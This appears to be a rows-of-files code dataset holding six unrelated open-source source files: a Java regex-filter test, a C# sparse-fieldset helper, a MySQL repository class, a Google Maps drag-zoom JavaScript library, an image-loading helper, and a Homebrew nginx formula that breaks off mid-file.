repo_name
stringlengths
4
116
path
stringlengths
4
379
size
stringlengths
1
7
content
stringlengths
3
1.05M
license
stringclasses
15 values
Lambda-3/Stargraph
stargraph-core/src/test/java/net/stargraph/test/RegExFilterProcessorTest.java
5214
package net.stargraph.test; /*- * ==========================License-Start============================= * stargraph-core * -------------------------------------------------------------------- * Copyright (C) 2017 Lambda^3 * -------------------------------------------------------------------- * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * ==========================License-End=============================== */ import com.typesafe.config.Config; import com.typesafe.config.ConfigFactory; import net.stargraph.ModelUtils; import net.stargraph.core.processors.Processors; import net.stargraph.core.processors.RegExFilterProcessor; import net.stargraph.data.processor.Holder; import net.stargraph.data.processor.Processor; import net.stargraph.model.KBId; import org.testng.Assert; import org.testng.annotations.Test; import java.util.Collections; import java.util.HashMap; import java.util.Map; @SuppressWarnings("unchecked") public final class RegExFilterProcessorTest { KBId kbId = KBId.of("obama", "facts"); @Test public void defaultFilterTest() { Config defaultCfg = ConfigFactory.load().getConfig("processor").withOnlyPath("regex-filter"); System.out.println(ModelUtils.toStr(defaultCfg)); Processor processor = Processors.create(defaultCfg); Holder fact1 = ModelUtils.createWrappedFact(kbId, "dbr:President_of_the_United_States", "rdfs:seeAlso", "dbr:Barack_Obama"); processor.run(fact1); Assert.assertTrue(fact1.isSinkable()); } @Test public void noFilterTest() { Config cfg = buildConfig(null, null, null); Processor processor = Processors.create(cfg); Holder fact1 = ModelUtils.createWrappedFact(kbId, "http://dbpedia.org/resource/President_of_the_United_States", "http://dbpedia.org/property/incumbent", "http://dbpedia.org/resource/Barack_Obama"); Assert.assertFalse(fact1.isSinkable()); processor.run(fact1); Assert.assertFalse(fact1.isSinkable()); } @Test public void filterAllTest() { Holder fact1 = ModelUtils.createWrappedFact(kbId, "http://dbpedia.org/resource/President_of_the_United_States", "http://dbpedia.org/property/incumbent", "http://dbpedia.org/resource/Barack_Obama"); Assert.assertFalse(fact1.isSinkable()); Config cfg = buildConfig(".*", null, null); Processor processor = Processors.create(cfg); processor.run(fact1); Assert.assertTrue(fact1.isSinkable()); fact1.setSink(false); //Should allow this? Config cfg2 = buildConfig(null, ".*", null); Processor processor2 = Processors.create(cfg2); processor2.run(fact1); Assert.assertTrue(fact1.isSinkable()); fact1.setSink(false); //Should allow this? Config cfg3 = buildConfig(null, null, ".*"); Processor processor3 = Processors.create(cfg3); processor3.run(fact1); Assert.assertTrue(fact1.isSinkable()); } @Test public void filterTest() { Holder fact1 = ModelUtils.createWrappedFact(kbId, "http://dbpedia.org/resource/President_of_the_United_States", "http://dbpedia.org/property/incumbent", "http://dbpedia.org/resource/Barack_Obama"); Assert.assertFalse(fact1.isSinkable()); Config cfg = buildConfig(null, "^http://dbpedia.org/property/inc(.*)$", null); Processor processor = Processors.create(cfg); processor.run(fact1); Assert.assertTrue(fact1.isSinkable()); } private Config buildConfig(String sRegex, String pRegex, String oRegex) { return ConfigFactory.parseMap(new HashMap() {{ Map<String, Object> innerMap = new HashMap() {{ put("s", sRegex != null ? Collections.singleton(sRegex) : null); put("p", pRegex != null ? Collections.singleton(pRegex) : null); put("o", oRegex != null ? Collections.singleton(oRegex) : null); }}; put(RegExFilterProcessor.name, innerMap); }}); } }
mit
json-api-dotnet/JsonApiDotNetCore
src/JsonApiDotNetCore/Queries/Expressions/SparseFieldSetExpressionExtensions.cs
3103
using System.Collections.Immutable; using System.Linq.Expressions; using JetBrains.Annotations; using JsonApiDotNetCore.Configuration; using JsonApiDotNetCore.Resources; using JsonApiDotNetCore.Resources.Annotations; namespace JsonApiDotNetCore.Queries.Expressions; [PublicAPI] public static class SparseFieldSetExpressionExtensions { public static SparseFieldSetExpression? Including<TResource>(this SparseFieldSetExpression? sparseFieldSet, Expression<Func<TResource, dynamic?>> fieldSelector, IResourceGraph resourceGraph) where TResource : class, IIdentifiable { ArgumentGuard.NotNull(fieldSelector, nameof(fieldSelector)); ArgumentGuard.NotNull(resourceGraph, nameof(resourceGraph)); SparseFieldSetExpression? newSparseFieldSet = sparseFieldSet; foreach (ResourceFieldAttribute field in resourceGraph.GetFields(fieldSelector)) { newSparseFieldSet = IncludeField(newSparseFieldSet, field); } return newSparseFieldSet; } private static SparseFieldSetExpression? IncludeField(SparseFieldSetExpression? sparseFieldSet, ResourceFieldAttribute fieldToInclude) { if (sparseFieldSet == null || sparseFieldSet.Fields.Contains(fieldToInclude)) { return sparseFieldSet; } IImmutableSet<ResourceFieldAttribute> newSparseFieldSet = sparseFieldSet.Fields.Add(fieldToInclude); return new SparseFieldSetExpression(newSparseFieldSet); } public static SparseFieldSetExpression? Excluding<TResource>(this SparseFieldSetExpression? sparseFieldSet, Expression<Func<TResource, dynamic?>> fieldSelector, IResourceGraph resourceGraph) where TResource : class, IIdentifiable { ArgumentGuard.NotNull(fieldSelector, nameof(fieldSelector)); ArgumentGuard.NotNull(resourceGraph, nameof(resourceGraph)); SparseFieldSetExpression? newSparseFieldSet = sparseFieldSet; foreach (ResourceFieldAttribute field in resourceGraph.GetFields(fieldSelector)) { newSparseFieldSet = ExcludeField(newSparseFieldSet, field); } return newSparseFieldSet; } private static SparseFieldSetExpression? ExcludeField(SparseFieldSetExpression? sparseFieldSet, ResourceFieldAttribute fieldToExclude) { // Design tradeoff: When the sparse fieldset is empty, it means all fields will be selected. // Adding an exclusion in that case is a no-op, which results in still retrieving the excluded field from data store. // But later, when serializing the response, the sparse fieldset is first populated with all fields, // so then the exclusion will actually be applied and the excluded field is not returned to the client. if (sparseFieldSet == null || !sparseFieldSet.Fields.Contains(fieldToExclude)) { return sparseFieldSet; } IImmutableSet<ResourceFieldAttribute> newSparseFieldSet = sparseFieldSet.Fields.Remove(fieldToExclude); return new SparseFieldSetExpression(newSparseFieldSet); } }
mit
CrystalshardCA/Ruby
src/main/java/ca/crystalshard/adapter/persistance/repositories/MySqlJobRepository.java
1426
package ca.crystalshard.adapter.persistance.repositories; import ca.crystalshard.adapter.persistance.SqlTableNames; import ca.crystalshard.adapter.persistance.Storage; import com.google.inject.Inject; public class MySqlJobRepository extends JobRepositoryBase { @Inject public MySqlJobRepository(Storage storage) { super(storage); this.saveQuery = String.format("" + " INSERT INTO %s " + " (name, createdDateUtc, updatedDateUtc) " + " VALUES (:name, UTC_TIMESTAMP(), UTC_TIMESTAMP()) ", SqlTableNames.JOB ); this.updateQuery = String.format("" + " UPDATE %s " + " SET name = :name, updatedDateUtc = UTC_TIMESTAMP() " + " WHERE id = :id ", SqlTableNames.JOB ); this.retrieveQuery = String.format("" + " SELECT id, name, createdDateUtc, updatedDateUtc, deletedDateUtc " + " FROM %s j " + " WHERE j.deletedDateUtc IS NULL ", SqlTableNames.JOB ); this.deleteQuery = String.format("" + " UPDATE %s " + " SET deletedDateUtc = UTC_TIMESTAMP() " + " WHERE id = :id ", SqlTableNames.JOB ); } }
mit
josephzhao/cvcbrowser
src/Yorku/JuturnaBundle/Resources/public/javascripts/keydragzoom.js
19683
/** * @name Key Drag Zoom * @version 1.0 * @author: Nianwei Liu [nianwei at gmail dot com] & Gary Little [gary at luxcentral dot com] * @fileoverview This library adds a drag zoom capability to a Google map. * When drag zoom is enabled, holding down a user-defined hot key <code>(shift | ctrl | alt)</code> * while dragging a box around an area of interest will zoom the map * to that area when the hot key is released. * Only one line of code is needed: <code>GMap2.enableKeyDragZoom();</code> * <p> * Note that if the map's container has a border around it, the border widths must be specified * in pixel units (or as thin, medium, or thick). This is required because of an MSIE limitation. */ /*! * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ (function () { /*jslint browser:true */ /*global GMap2,GEvent,GLatLng,GLatLngBounds,GPoint */ /* Utility functions use "var funName=function()" syntax to allow use of the */ /* Dean Edwards Packer compression tool (with Shrink variables, without Base62 encode). */ /** * Converts 'thin', 'medium', and 'thick' to pixel widths * in an MSIE environment. Not called for other browsers * because getComputedStyle() returns pixel widths automatically. * @param {String} widthValue */ var toPixels = function (widthValue) { var px; switch (widthValue) { case 'thin': px = "2px"; break; case 'medium': px = "4px"; break; case 'thick': px = "6px"; break; default: px = widthValue; } return px; }; /** * Get the widths of the borders of an HTML element. * * @param {Object} h HTML element * @return {Object} widths object (top, bottom left, right) */ var getBorderWidths = function (h) { var computedStyle; var bw = {}; if (document.defaultView && document.defaultView.getComputedStyle) { computedStyle = h.ownerDocument.defaultView.getComputedStyle(h, ""); if (computedStyle) { // The computed styles are always in pixel units (good!) bw.top = parseInt(computedStyle.borderTopWidth, 10) || 0; bw.bottom = parseInt(computedStyle.borderBottomWidth, 10) || 0; bw.left = parseInt(computedStyle.borderLeftWidth, 10) || 0; bw.right = parseInt(computedStyle.borderRightWidth, 10) || 0; return bw; } } else if (document.documentElement.currentStyle) { // MSIE if (h.currentStyle) { // The current styles may not be in pixel units so try to convert (bad!) bw.top = parseInt(toPixels(h.currentStyle.borderTopWidth), 10) || 0; bw.bottom = parseInt(toPixels(h.currentStyle.borderBottomWidth), 10) || 0; bw.left = parseInt(toPixels(h.currentStyle.borderLeftWidth), 10) || 0; bw.right = parseInt(toPixels(h.currentStyle.borderRightWidth), 10) || 0; return bw; } } // Shouldn't get this far for any modern browser bw.top = parseInt(h.style["border-top-width"], 10) || 0; bw.bottom = parseInt(h.style["border-bottom-width"], 10) || 0; bw.left = parseInt(h.style["border-left-width"], 10) || 0; bw.right = parseInt(h.style["border-right-width"], 10) || 0; return bw; }; /** * Get the position of the mouse relative to the document. * @param {Object} e Mouse event * @return {Object} left & top position */ var getMousePosition = function (e) { var posX = 0, posY = 0; e = e || window.event; if (typeof e.pageX !== "undefined") { posX = e.pageX; posY = e.pageY; } else if (typeof e.clientX !== "undefined") { posX = e.clientX + (typeof document.documentElement.scrollLeft !== "undefined" ? document.documentElement.scrollLeft : document.body.scrollLeft); posY = e.clientY + (typeof document.documentElement.scrollTop !== "undefined" ? document.documentElement.scrollTop : document.body.scrollTop); } return { left: posX, top: posY }; }; /** * Get the position of an HTML element relative to the document. * @param {Object} h HTML element * @return {Object} left & top position */ var getElementPosition = function (h) { var posX = h.offsetLeft; var posY = h.offsetTop; var parent = h.offsetParent; // Add offsets for all ancestors in the hierarchy while (parent !== null) { // Adjust for scrolling elements which may affect the map position. // // See http://www.howtocreate.co.uk/tutorials/javascript/browserspecific // // "...make sure that every element [on a Web page] with an overflow // of anything other than visible also has a position style set to // something other than the default static..." if (parent !== document.body && parent !== document.documentElement) { posX -= parent.scrollLeft; posY -= parent.scrollTop; } posX += parent.offsetLeft; posY += parent.offsetTop; parent = parent.offsetParent; } return { left: posX, top: posY }; }; /** * Set the properties of an object to those from another object. * @param {Object} obj target object * @param {Object} vals source object */ var setVals = function (obj, vals) { if (obj && vals) { for (var x in vals) { if (vals.hasOwnProperty(x)) { obj[x] = vals[x]; } } } return obj; }; /** * Set the opacity. If op is not passed in, this function just performs an MSIE fix. * @param {Node} div * @param {Number} op (0-1) */ var setOpacity = function (div, op) { if (typeof op !== 'undefined') { div.style.opacity = op; } if (typeof div.style.opacity !== 'undefined') { div.style.filter = "alpha(opacity=" + (div.style.opacity * 100) + ")"; } }; /** * @name KeyDragZoomOptions * @class This class represents the optional parameter passed into <code>GMap2.enableDragBoxZoom</code>. * @property {String} [key] the hot key to hold down to activate a drag zoom, <code>shift | ctrl | alt</code>. * The default is <code>shift</code>. * @property {Object} [boxStyle] the css style of the zoom box. * The default is <code>{border: 'thin solid #FF0000'}</code>. * Border widths must be specified in pixel units (or as thin, medium, or thick). * @property {Object} [paneStyle] the css style of the pane which overlays the map when a drag zoom is activated. * The default is <code>{backgroundColor: 'white', opacity: 0.0, cursor: 'crosshair'}</code>. */ /** * @name DragZoom * @class This class represents a drag zoom object for a map. The object is activated by holding down the hot key. * This object is created when <code>GMap2.enableKeyDragZoom</code> is called; it cannot be created directly. * Use <code>GMap2.getDragZoomObject</code> to gain access to this object in order to attach event listeners. * @param {GMap2} map * @param {KeyDragZoomOptions} opt_zoomOpts */ function DragZoom(map, opt_zoomOpts) { this.map_ = map; opt_zoomOpts = opt_zoomOpts || {}; this.key_ = opt_zoomOpts.key || 'shift'; this.key_ = this.key_.toLowerCase(); this.borderWidths_ = getBorderWidths(this.map_.getContainer()); this.paneDiv_ = document.createElement("div"); this.paneDiv_.onselectstart = function () { return false; }; // default style setVals(this.paneDiv_.style, { backgroundColor: 'white', opacity: 0.0, cursor: 'crosshair' }); // allow overwrite setVals(this.paneDiv_.style, opt_zoomOpts.paneStyle); // stuff that cannot be overwritten setVals(this.paneDiv_.style, { position: 'absolute', overflow: 'hidden', zIndex: 101, display: 'none' }); if (this.key_ === 'shift') { // Workaround for Firefox Shift-Click problem this.paneDiv_.style.MozUserSelect = "none"; } setOpacity(this.paneDiv_); // An IE fix: if the background is transparent, it cannot capture mousedown events if (this.paneDiv_.style.backgroundColor === 'transparent') { this.paneDiv_.style.backgroundColor = 'white'; setOpacity(this.paneDiv_, 0); } this.map_.getContainer().appendChild(this.paneDiv_); this.boxDiv_ = document.createElement('div'); setVals(this.boxDiv_.style, { border: 'thin solid #FF0000' }); setVals(this.boxDiv_.style, opt_zoomOpts.boxStyle); setVals(this.boxDiv_.style, { position: 'absolute', display: 'none' }); setOpacity(this.boxDiv_); this.map_.getContainer().appendChild(this.boxDiv_); this.boxBorderWidths_ = getBorderWidths(this.boxDiv_); this.keyDownListener_ = GEvent.bindDom(document, 'keydown', this, this.onKeyDown_); this.keyUpListener_ = GEvent.bindDom(document, 'keyup', this, this.onKeyUp_); this.mouseDownListener_ = GEvent.bindDom(this.paneDiv_, 'mousedown', this, this.onMouseDown_); this.mouseDownListenerDocument_ = GEvent.bindDom(document, 'mousedown', this, this.onMouseDownDocument_); this.mouseMoveListener_ = GEvent.bindDom(document, 'mousemove', this, this.onMouseMove_); this.mouseUpListener_ = GEvent.bindDom(document, 'mouseup', this, this.onMouseUp_); this.hotKeyDown_ = false; this.dragging_ = false; this.startPt_ = null; this.endPt_ = null; this.boxMaxX_ = null; this.boxMaxY_ = null; this.mousePosn_ = null; this.mapPosn_ = getElementPosition(this.map_.getContainer()); this.mouseDown_ = false; } /** * Returns true if the hot key is being pressed when an event occurs. * @param {Event} e * @return {Boolean} */ DragZoom.prototype.isHotKeyDown_ = function (e) { var isHot; e = e || window.event; isHot = (e.shiftKey && this.key_ === 'shift') || (e.altKey && this.key_ === 'alt') || (e.ctrlKey && this.key_ === 'ctrl'); if (!isHot) { // Need to look at keyCode for Opera because it // doesn't set the shiftKey, altKey, ctrlKey properties // unless a non-modifier event is being reported. // // See http://cross-browser.com/x/examples/shift_mode.php // Also see http://unixpapa.com/js/key.html switch (e.keyCode) { case 16: if (this.key_ === 'shift') { isHot = true; } break; case 17: if (this.key_ === 'ctrl') { isHot = true; } break; case 18: if (this.key_ === 'alt') { isHot = true; } break; } } return isHot; }; /** * Checks if the mouse is on top of the map. The position is captured * in onMouseMove_. * @return true if mouse is on top of the map div. */ DragZoom.prototype.isMouseOnMap_ = function () { var mousePos = this.mousePosn_; if (mousePos) { var mapPos = this.mapPosn_; var size = this.map_.getSize(); return mousePos.left > mapPos.left && mousePos.left < mapPos.left + size.width && mousePos.top > mapPos.top && mousePos.top < mapPos.top + size.height; } else { // if user never moved mouse return false; } }; /** * Show or hide the overlay pane, depending on whether the mouse is over the map. */ DragZoom.prototype.setPaneVisibility_ = function () { if (this.map_ && this.hotKeyDown_ && this.isMouseOnMap_()) { var size = this.map_.getSize(); this.paneDiv_.style.left = 0 + 'px'; this.paneDiv_.style.top = 0 + 'px'; this.paneDiv_.style.width = size.width - (this.borderWidths_.left + this.borderWidths_.right) + 'px'; this.paneDiv_.style.height = size.height - (this.borderWidths_.top + this.borderWidths_.bottom) + 'px'; this.paneDiv_.style.display = 'block'; this.boxMaxX_ = parseInt(this.paneDiv_.style.width, 10) - (this.boxBorderWidths_.left + this.boxBorderWidths_.right); this.boxMaxY_ = parseInt(this.paneDiv_.style.height, 10) - (this.boxBorderWidths_.top + this.boxBorderWidths_.bottom); } else { this.paneDiv_.style.display = 'none'; } }; /** * Handle key down. Activate the tool only if the mouse is on top of the map. * @param {Event} e */ DragZoom.prototype.onKeyDown_ = function (e) { if (this.map_ && !this.hotKeyDown_ && this.isHotKeyDown_(e)) { this.mapPosn_ = getElementPosition(this.map_.getContainer()); this.hotKeyDown_ = true; this.setPaneVisibility_(); /** * This event is fired when the hot key is pressed. * @name DragZoom#activate * @event */ GEvent.trigger(this, 'activate'); } }; /** * Get the <code>GPoint</code> of the mouse position. * @param {Object} e * @return {GPoint} point * @private */ DragZoom.prototype.getMousePoint_ = function (e) { var mousePosn = getMousePosition(e); var p = new GPoint(); p.x = mousePosn.left - this.mapPosn_.left - this.borderWidths_.left; p.y = mousePosn.top - this.mapPosn_.top - this.borderWidths_.top; p.x = Math.min(p.x, this.boxMaxX_); p.y = Math.min(p.y, this.boxMaxY_); p.x = Math.max(p.x, 0); p.y = Math.max(p.y, 0); return p; }; /** * Handle mouse down. * @param {Event} e */ DragZoom.prototype.onMouseDown_ = function (e) { if (this.map_ && this.hotKeyDown_) { this.mapPosn_ = getElementPosition(this.map_.getContainer()); this.dragging_ = true; this.startPt_ = this.endPt_ = this.getMousePoint_(e); var latlng = this.map_.fromContainerPixelToLatLng(this.startPt_); /** * This event is fired when the drag operation begins. * @name DragZoom#dragstart * @param {GLatLng} startLatLng * @event */ GEvent.trigger(this, 'dragstart', latlng); } }; /** * Handle mouse down at the document level. * @param {Event} e */ DragZoom.prototype.onMouseDownDocument_ = function (e) { this.mouseDown_ = true; }; /** * Handle mouse move. * @param {Event} e */ DragZoom.prototype.onMouseMove_ = function (e) { this.mousePosn_ = getMousePosition(e); if (this.dragging_) { this.endPt_ = this.getMousePoint_(e); var left = Math.min(this.startPt_.x, this.endPt_.x); var top = Math.min(this.startPt_.y, this.endPt_.y); var width = Math.abs(this.startPt_.x - this.endPt_.x); var height = Math.abs(this.startPt_.y - this.endPt_.y); this.boxDiv_.style.left = left + 'px'; this.boxDiv_.style.top = top + 'px'; this.boxDiv_.style.width = width + 'px'; this.boxDiv_.style.height = height + 'px'; this.boxDiv_.style.display = 'block'; /** * This event is repeatedly fired while the user drags the box. The southwest and northeast * point are passed as parameters of type <code>GPoint</code> (for performance reasons), * relative to the map container. Note: the event listener is responsible * for converting Pixel to LatLng, if necessary, using * <code>GMap2.fromContainerPixelToLatLng</code>. * @name DragZoom#drag * @param {GPoint} southwestPixel * @param {GPoint} northeastPixel * @event */ GEvent.trigger(this, 'drag', new GPoint(left, top + height), new GPoint(left + width, top)); } else if (!this.mouseDown_) { this.setPaneVisibility_(); } }; /** * Handle mouse up. * @param {Event} e */ DragZoom.prototype.onMouseUp_ = function (e) { this.mouseDown_ = false; if (this.dragging_) { var left = Math.min(this.startPt_.x, this.endPt_.x); var top = Math.min(this.startPt_.y, this.endPt_.y); var width = Math.abs(this.startPt_.x - this.endPt_.x); var height = Math.abs(this.startPt_.y - this.endPt_.y); var sw = this.map_.fromContainerPixelToLatLng(new GPoint(left, top + height)); var ne = this.map_.fromContainerPixelToLatLng(new GPoint(left + width, top)); var bnds = new GLatLngBounds(sw, ne); var level = this.map_.getBoundsZoomLevel(bnds); // this.map_.setCenter(bnds.getCenter(), level); this.dragging_ = false; this.boxDiv_.style.display = 'none'; /** * This event is fired when the drag operation ends. * Note that the event is not fired if the hot key is released before the drag operation ends. * @name DragZoom#dragend * @param {GLatLngBounds} newBounds * @event */ GEvent.trigger(this, 'dragend', bnds); } }; /** * Handle key up. * @param {Event} e */ DragZoom.prototype.onKeyUp_ = function (e) { if (this.map_ && this.hotKeyDown_) { this.hotKeyDown_ = false; this.dragging_ = false; this.boxDiv_.style.display = 'none'; this.paneDiv_.style.display = "none"; /** * This event is fired while the user release the key * @name DragZoom#deactivate * @event */ GEvent.trigger(this, 'deactivate'); } }; /** * @name GMap2 * @class These are new methods added to the Google Maps API's * <a href = 'http://code.google.com/apis/maps/documentation/reference.html#GMap2'>GMap2</a> * class. */ /** * Enable drag zoom. The user can zoom to an area of interest by holding down the hot key * <code>(shift | ctrl | alt )</code> while dragging a box around the area. * @param {KeyDragZoomOptions} opt_zoomOpts */ GMap2.prototype.enableKeyDragZoom = function (opt_zoomOpts) { this.dragZoom_ = new DragZoom(this, opt_zoomOpts); }; /** * Disable drag zoom. */ GMap2.prototype.disableKeyDragZoom = function () { var d = this.dragZoom_; if (d) { GEvent.removeListener(d.mouseDownListener_); GEvent.removeListener(d.mouseDownListenerDocument_); GEvent.removeListener(d.mouseMoveListener_); GEvent.removeListener(d.mouseUpListener_); GEvent.removeListener(d.keyUpListener_); GEvent.removeListener(d.keyDownListener_); this.getContainer().removeChild(d.boxDiv_); this.getContainer().removeChild(d.paneDiv_); this.dragZoom_ = null; } }; /** * Returns true if the drag zoom feature has been enabled. * @return {Boolean} */ GMap2.prototype.keyDragZoomEnabled = function () { return this.dragZoom_ !== null; }; /** * Returns the DragZoom object which is created when <code>GMap2.enableKeyDragZoom</code> is called. * With this object you can use <code>GEvent.addListener</code> to attach event listeners * for the 'activate', 'deactivate', 'dragstart', 'drag', and 'dragend' events. * @return {DragZoom} */ GMap2.prototype.getDragZoomObject = function () { return this.dragZoom_; }; })();
mit
szyryanov/IZIn
Dev/js/loadImage.js
1294
 function loadImage($imgElement, src, callback) { // if (src) { //$element.attr("src", ""); $imgElement.attr("src", src); } // // if (!loadImage.failedSrcs) { loadImage.failedSrcs = {}; } else { if (loadImage.failedSrcs[src]) { callCallback(false, "error"); return; } } // function callCallback(ok, status) { setTimeout(function () { callback(ok, status); }, 10); } // function unbind() { $imgElement.off("load.img-zoom"); $imgElement.off("error.img-zoom"); } // // var img = $imgElement[0]; //function waitLoadComplete() { // if (img.complete) { // callCallback(true, "loaded:" + img.complete); // } else { // setTimeout(waitLoadComplete, 50); // } //} if (img.complete) { callCallback(true, "complete"); } else { $imgElement.on("load.img-zoom", function () { unbind(); callCallback(true, "loaded"); //waitLoadComplete(); }); $imgElement.on("error.img-zoom", function () { unbind(); loadImage.failedSrcs[src] = true; callCallback(false, "error"); }); } }
mit
ajayk/homebrew-nginx
Formula/nginx-full.rb
14708
class NginxFull < Formula desc "HTTP(S) server, reverse proxy, IMAP/POP3 proxy server" homepage "http://nginx.org/" url "http://nginx.org/download/nginx-1.8.1.tar.gz" sha256 "8f4b3c630966c044ec72715754334d1fdf741caa1d5795fb4646c27d09f797b7" head "http://hg.nginx.org/nginx/", :using => :hg devel do url "http://nginx.org/download/nginx-1.9.11.tar.gz" sha256 "6a5c72f4afaf57a6db064bba0965d72335f127481c5d4e64ee8714e7b368a51f" end def self.core_modules [ ["passenger", nil, "Compile with support for Phusion Passenger module"], ["no-pool-nginx", nil, "Disable nginx-pool, valgrind detect memory issues"], ["addition", "http_addition_module", "Compile with support for HTTP Addition module"], ["auth-req", "http_auth_request_module", "Compile with support for HTTP Auth Request module"], ["debug", "debug", "Compile with support for debug log"], ["degredation", "http_degradation_module", "Compile with support for HTTP Degredation module"], ["flv", "http_flv_module", "Compile with support for FLV module"], ["geoip", "http_geoip_module", "Compile with support for GeoIP module"], ["google-perftools", "google_perftools_module", "Compile with support for Google Performance tools module"], ["gunzip", "http_gunzip_module", "Compile with support for gunzip module"], ["gzip-static", "http_gzip_static_module", "Compile with support for Gzip static module"], ["http2", "http_v2_module", "Compile with support for HTTP/2 module"], ["image-filter", "http_image_filter_module", "Compile with support for Image Filter module"], ["mail", "mail", "Compile with support for Mail module"], ["mp4", "http_mp4_module", "Compile with support for mp4 module"], ["pcre-jit", "pcre-jit", "Compile with support for JIT in PCRE"], ["perl", "http_perl_module", "Compile with support for Perl module"], ["random-index", "http_random_index_module", "Compile with support for Random Index module"], ["realip", "http_realip_module", "Compile with support for real IP module"], ["secure-link", "http_secure_link_module", "Compile with support for secure link module"], ["status", "http_stub_status_module", "Compile with support for stub status module"], ["stream", "stream", "Compile with support for TCP load balancing module"], ["sub", "http_sub_module", "Compile with support for HTTP Sub module"], ["webdav", "http_dav_module", "Compile with support for WebDAV module"], ["xslt", "http_xslt_module", "Compile with support for XSLT module"], ] end def self.third_party_modules { "accept-language" => "Compile with support for Accept Language module", "accesskey" => "Compile with support for HTTP Access Key module", "ajp" => "Compile with support for AJP-protocol", "anti-ddos" => "Compile with support for Anti-DDoS module", "array-var" => "Compile with support for Array Var module", "auth-digest" => "Compile with support for Auth Digest module", "auth-ldap" => "Compile with support for Auth LDAP module", "auth-pam" => "Compile with support for Auth PAM module", "auto-keepalive" => "Compile with support for Auto Disable KeepAlive module", "autols" => "Compile with support for Flexible Auto Index module", "cache-purge" => "Compile with support for Cache Purge module", "captcha" => "Compile with support for Captcha module", "counter-zone" => "Compile with support for Realtime Counter Zone module", "ctpp2" => "Compile with support for CT++ module", "dav-ext" => "Compile with support for HTTP WebDav Extended module", "dosdetector" => "Compile with support for detecting DoS attacks", "echo" => "Compile with support for Echo module", "eval" => "Compile with support for Eval module", "extended-status" => "Compile with support for Extended Status module", "fancyindex" => "Compile with support for Fancy Index module", "geoip2" => "Nginx GeoIP2 module", "headers-more" => "Compile with support for Headers More module", "healthcheck" => "Compile with support for Healthcheck module", "http-accounting" => "Compile with support for HTTP Accounting module", "http-flood-detector" => "Compile with support for Var Flood-Threshold module", "http-remote-passwd" => "Compile with support for Remote Basic Auth password module", "log-if" => "Compile with support for Log-if module", "lua" => "Compile with support for LUA module", "mod-zip" => "Compile with support for HTTP Zip module", "mogilefs" => "Compile with support for HTTP MogileFS module", "mp4-h264" => "Compile with support for HTTP MP4/H264 module", "naxsi" => "Compile with support for Naxsi module", "nchan" => "Compile with Nchan, a flexible pub/sub server", "notice" => "Compile with support for HTTP Notice module", "php-session" => "Compile with support for Parse PHP Sessions module", "push-stream" => "Compile with support for http push stream module", "realtime-req" => "Compile with support for Realtime Request module", "redis" => "Compile with support for Redis module", "redis2" => "Compile with support for Redis2 module", "rtmp" => "Compile with support for RTMP module", "set-misc" => "Compile with support for Set Misc module", "small-light" => "Compile with support for small light module", "subs-filter" => "Compile with support for Substitutions Filter module", "tcp-proxy" => "Compile with support for TCP proxy", "txid" => "Compile with support for Sortable Unique ID", "unzip" => "Compile with support for UnZip module", "upload" => "Compile with support for Upload module", "upload-progress" => "Compile with support for Upload Progress module", "upstream-order" => "Compile with support for Order Upstream module", "ustats" => "Compile with support for Upstream Statistics (HAProxy style) module", "var-req-speed" => "Compile with support for Var Request-Speed module", "vod" => "Compile with support for Kaltura VOD on-the-fly packager", "websockify" => "Compile with support for websockify module", "xsltproc" => "Compile with support for XSLT transformations", } end depends_on "pcre" depends_on "passenger" => :optional depends_on "geoip" => :optional depends_on "openssl" => :recommended depends_on "libressl" => :optional depends_on "libzip" if build.with? "unzip" depends_on "libxml2" if build.with? "xslt" depends_on "libxslt" if build.with? "xslt" depends_on "gd" if build.with? "image-filter" depends_on "valgrind" if build.with? "no-pool-nginx" depends_on "icu4c" if build.with? "xsltproc-module" depends_on "libxml2" if build.with? "xsltproc-module" depends_on "libxslt" if build.with? "xsltproc-module" depends_on "gperftools" => :optional depends_on "gd" => :optional depends_on "imlib2" => :optional # HTTP2 (backward compatibility for spdy) deprecated_option "with-spdy" => "with-http2" core_modules.each do |arr| option "with-#{arr[0]}", arr[2] end third_party_modules.each do |name, desc| option "with-#{name}-module", desc depends_on "#{name}-nginx-module" if build.with? "#{name}-module" end def patches patches = {} # https://github.com/openresty/no-pool-nginx if build.with? "no-pool-nginx" patches[:p2] = "https://raw.githubusercontent.com/openresty/no-pool-nginx/master/nginx-1.7.7-no_pool.patch" if build.devel? end if build.with? "extended-status-module" patches[:p1] = "https://raw.githubusercontent.com/nginx-modules/ngx_http_extended_status_module/master/extended_status-1.6.2.patch" end if build.with? "ustats-module" patches[:p1] = "https://raw.githubusercontent.com/nginx-modules/ngx_ustats_module/master/nginx-1.6.1.patch" end if build.with? "tcp-proxy-module" patches[:p1] = "https://raw.githubusercontent.com/yaoweibin/nginx_tcp_proxy_module/v0.4.5/tcp.patch" end patches end env :userpaths skip_clean "logs" def install if build.with?("http-flood-detector-module") && build.without?("status") odie "http-flood-detector-nginx-module: Stub Status module is required --with-status" end if build.with?("dav-ext-module") && build.without?("webdav") odie "dav-ext-nginx-module: WebDav Extended module is required --with-webdav" end # small-light needs to run setup script if build.with? "small-light-module" small_light = Formula["small-light-nginx-module"] args = build.used_options.select { |option| ["with-gd", "with-imlib2"].include?(option.name) } origin_dir = Dir.pwd Dir.chdir("#{small_light.share}/#{small_light.name}") system "./setup", *args raise "The small-light setup 